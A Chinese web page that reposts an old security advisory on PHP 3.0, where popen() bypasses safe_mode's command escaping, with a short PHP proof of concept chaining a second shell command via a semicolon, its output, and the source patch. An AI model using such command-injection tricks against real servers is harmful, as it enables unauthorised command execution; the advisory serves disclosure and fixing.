建站极客
网络编程 PHP编程 正文
PHP3 safe_mode 失效漏洞
所属分类:
网络编程 / PHP编程
阅读数:
1858
收藏 0
赞 0
分享
受影响的系统: PHP 3.00 -------------------------------------------------------------------------------- 描述: PHP Version 3.0是一个HTML嵌入式脚本语言。其大多数语法移植于C、Java和Perl并结合了 PHP的特色。这个语言可以让web开发者快速创建动态网页。 因其执行在web服务器上并允许用户执行代码,PHP内置了称为'safe_mode'的安全特性, 用于控制在允许PHP操作的webroot环境中执行命令。 其实现机制是通过强制执行shell命令的系统调用将shell命令传送到EscapeShellCmd() 函数,此函数用于确认在webroot目录外部不能执行命令。 在某些版本的PHP中,使用popen()命令时EscapeShellCmd()却失效了,造成恶意用户可 以利用'popen'系统调用进行非法操作。 -------------------------------------------------------------------------------- 测试程序: 警 告:以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负! <?php $fp = popen("ls -l /opt/bin; /usr/bin/id", "r"); echo "$fp<br>n"; while($line = fgets($fp, 1024)): printf("%s<br>n", $line); endwhile; pclose($fp); phpinfo(); ?> 输出结果如下: 1 total 53 -rwxr-xr-x 1 root root 52292 Jan 3 22:05 ls uid=30(wwwrun) gid=65534(nogroup) groups=65534(nogroup) and from the configuration values of phpinfo(): safe_mode 0 1 -------------------------------------------------------------------------------- 建议: Index: functions/file.c =================================================================== RCS file: /repository/php3/functions/file.c,v retrieving revision 1.229 retrieving revision 1.230 diff -u -r1.229 -r1.230 --- functions/file.c 2000/01/01 04:31:15 1.229 +++ functions/file.c 2000/01/03 21:31:31 1.230 @@ -26,7 +26,7 @@ | Authors: Rasmus Lerdorf <rasmus@lerdorf.on.ca> | +----------------------------------------------------------------------+ */ -/* $Id: file.c,v 1.229 2000/01/01 04:31:15 sas Exp $ */ +/* $Id: file.c,v 1.230 2000/01/03 21:31:31 kk Exp $ */ #include "php.h" #include <stdio.h> @@ -51,6 +51,7 @@ #include "safe_mode.h" #include "php3_list.h" #include "php3_string.h" +#include "exec.h" #include "file.h" #if HAVE_PWD_H #if MSVC5 @@ -575,7 +576,7 @@ pval *arg1, *arg2; FILE *fp; int id; - char *p; + char *p, *tmp = NULL; char *b, buf[1024]; TLS_VARS; @@ -600,7 +601,11 @@ } else { snprintf(buf,sizeof(buf),"%s/%s",php3_ini.safe_mode_exec_dir,arg1->value.str.val); } - fp = popen(buf,p); + + tmp = _php3_escapeshellcmd(buf); + fp = popen(tmp,p); + efree(tmp); /* temporary copy, no longer necessary */ + if (!fp) { php3_error(E_WARNING,"popen("%s","%s") - %s",buf,p,strerror(errno)); RETURN_FALSE;
php文件管理基本功能简单操作 这篇文章主要为大家详细介绍了php文件管理基本功能简单操作的相关资料,具有一定的参考价值,感兴趣的小伙伴们可以参考一下
评论 0
收藏 0
赞 0
分享
php常用数组函数实例小结 这篇文章主要介绍了php常用数组函数,结合实例形式总结分析了php常用数组函数array_merge、array_slice及array_map的功能与使用技巧,需要的朋友可以参考下
评论 0
收藏 0
赞 0
分享
php常用正则函数实例小结 这篇文章主要介绍了php常用正则函数,结合实例形式总结分析了php正则表达式常用函数,包括preg_replace、preg_match及preg_match_all函数的功能、使用方法与相关注意事项,需要的朋友可以参考下
评论 0
收藏 0
赞 0
分享
php常用字符函数实例小结 这篇文章主要介绍了php常用字符函数,结合实例形式总结分析了php常用字符函数substr、preg_match、strpos、dirname及str_split功能、用法与相关注意事项,需要的朋友可以参考下
评论 0
收藏 0
赞 0
分享
微信公众号模板消息群发php代码示例 这篇文章主要为大家详细介绍了微信公众号模板消息群发php代码示例,具有一定的参考价值,感兴趣的小伙伴们可以参考一下
评论 0
收藏 0
赞 0
分享
查看更多